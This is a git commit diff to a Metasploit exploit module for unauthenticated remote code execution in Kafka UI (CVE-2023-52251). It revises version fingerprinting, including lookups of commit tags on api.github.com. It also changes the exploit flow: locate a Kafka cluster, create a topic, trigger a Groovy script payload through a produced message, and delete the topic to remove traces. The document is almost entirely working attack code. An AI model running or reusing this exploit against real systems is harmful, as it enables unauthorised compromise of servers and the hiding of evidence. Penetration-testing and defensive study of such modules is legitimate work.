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Second release of module

This commit is contained in:
h00die-gr3y 2024-01-22 17:52:58 +00:00
parent 3db32da70f
commit d5f30befbb
1 changed files with 59 additions and 13 deletions
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72
modules/exploits/linux/http/kafka_ui_unauth_rce_cve_2023_52251.rb
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@ -76,17 +76,55 @@ class MetasploitModule < Msf::Exploit::Remote
end
def vuln_version?
@version = ''
res = send_request_cgi({
'method' => 'GET',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api', 'info')
'uri' => normalize_uri(target_uri.path, 'actuator', 'info')
})
if res && res.code == 200 && res.body.include?('build')
if res && res.code == 200 && (res.body.include?('build') || res.body.include?('git'))
res_json = res.get_json_document
unless res_json.blank?
@version = res_json['build']['version'].delete_prefix('v') # remove v from vx.x.x
if res.body.include?('build')
@version = res_json['build']['version'].delete_prefix('v') # remove v from vx.x.x
elsif res.body.include?('git')
# determine version by using git commit id by querying api.github.com/repos/provectus/kafka-ui/tags.
git_commit_id = res_json['git']['commit']['id']
# git commit id 38c4cf7 is for whatever reason not listed when quering api.github.com, so we handle this manually
if git_commit_id == '38c4cf7'
@version = '0.3.3'
else
# !!! overwriting datastore options is not neat, but I frankly do not know how to do this nicely.
# !!! suggestions are welcome ;-)
rhost = datastore['RHOSTS']
rport = datastore['RPORT']
ssl = datastore['SSL']
datastore['RHOSTS'] = 'api.github.com'
datastore['RPORT'] = 443
datastore['SSL'] = true
res = send_request_cgi({
'method' => 'GET',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'repos', 'provectus', 'kafka-ui', 'tags')
})
datastore['RHOSTS'] = rhost
datastore['RPORT'] = rport
datastore['SSL'] = ssl
if res && res.code == 200
res_json = res.get_json_document
unless res_json.blank?
# loop thru the list of commits and return the version based a match on the first 7 chars of the sha commit else return nil
res_json.each do |tag|
if tag['commit']['sha'][0, 7] == git_commit_id
@version = tag['name'].delete_prefix('v')
break
end
end
end
end
end
end
end
return Rex::Version.new(@version) <= Rex::Version.new('0.7.1') && Rex::Version.new(@version) >= Rex::Version.new('0.4.0') if @version.match(/\d\.\d\.\d/)
end
false
@ -117,6 +155,7 @@ class MetasploitModule < Msf::Exploit::Remote
post_data = {
name: topic_name.to_s,
partitions: 1,
replicationFactor: 1,
configs:
{
'cleanup.policy': 'delete',
@ -192,24 +231,31 @@ class MetasploitModule < Msf::Exploit::Remote
def check
print_status("Checking if #{peer} can be exploited.")
return CheckCode::Vulnerable("Kafka-ui version: #{@version}") if vuln_version?
return CheckCode::Appears("Kafka-ui version: #{@version}") if vuln_version?
unless @version.blank?
if @version.match(/\d\.\d\.\d/)
return CheckCode::Safe("Kafka-ui version: #{@version}")
else
return CheckCode::Detected("Kafka-ui unknown version: #{@version}")
end
end
CheckCode::Safe
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
print_status('Searching for active Kafka cluster...')
vprint_status('Searching for active Kafka cluster...')
@cluster = get_cluster
fail_with(Failure::NotFound, 'Could not find or connect to an active Kafka cluster.') if @cluster.nil?
print_good("Active Kafka cluster found: #{@cluster}")
vprint_good("Active Kafka cluster found: #{@cluster}")
print_status('Creating a new topic...')
vprint_status('Creating a new topic...')
@new_topic = create_topic(@cluster)
fail_with(Failure::Unknown, 'Could not create a new topic.') if @new_topic.nil?
print_good("New topic created: #{@new_topic}")
vprint_good("New topic created: #{@new_topic}")
print_status('Trigger Groovy script payload execution by creating a message...')
vprint_status('Trigger Groovy script payload execution by creating a message...')
fail_with(Failure::PayloadFailed, 'Could not trigger the Groovy script payload execution.') unless produce_message(@cluster, @new_topic)
case target['Type']
@ -222,11 +268,11 @@ class MetasploitModule < Msf::Exploit::Remote
end
# cleaning up the mess and remove new created topic
print_status('Removing tracks...')
vprint_status('Removing tracks...')
if delete_topic(@cluster, @new_topic)
print_good("Successfully deleted topic #{@new_topic}.")
vprint_good("Successfully deleted topic #{@new_topic}.")
else
print_error("Could not delete topic #{@new_topic}. Manually cleaning required.")
vprint_error("Could not delete topic #{@new_topic}. Manually cleaning required.")
end
end
end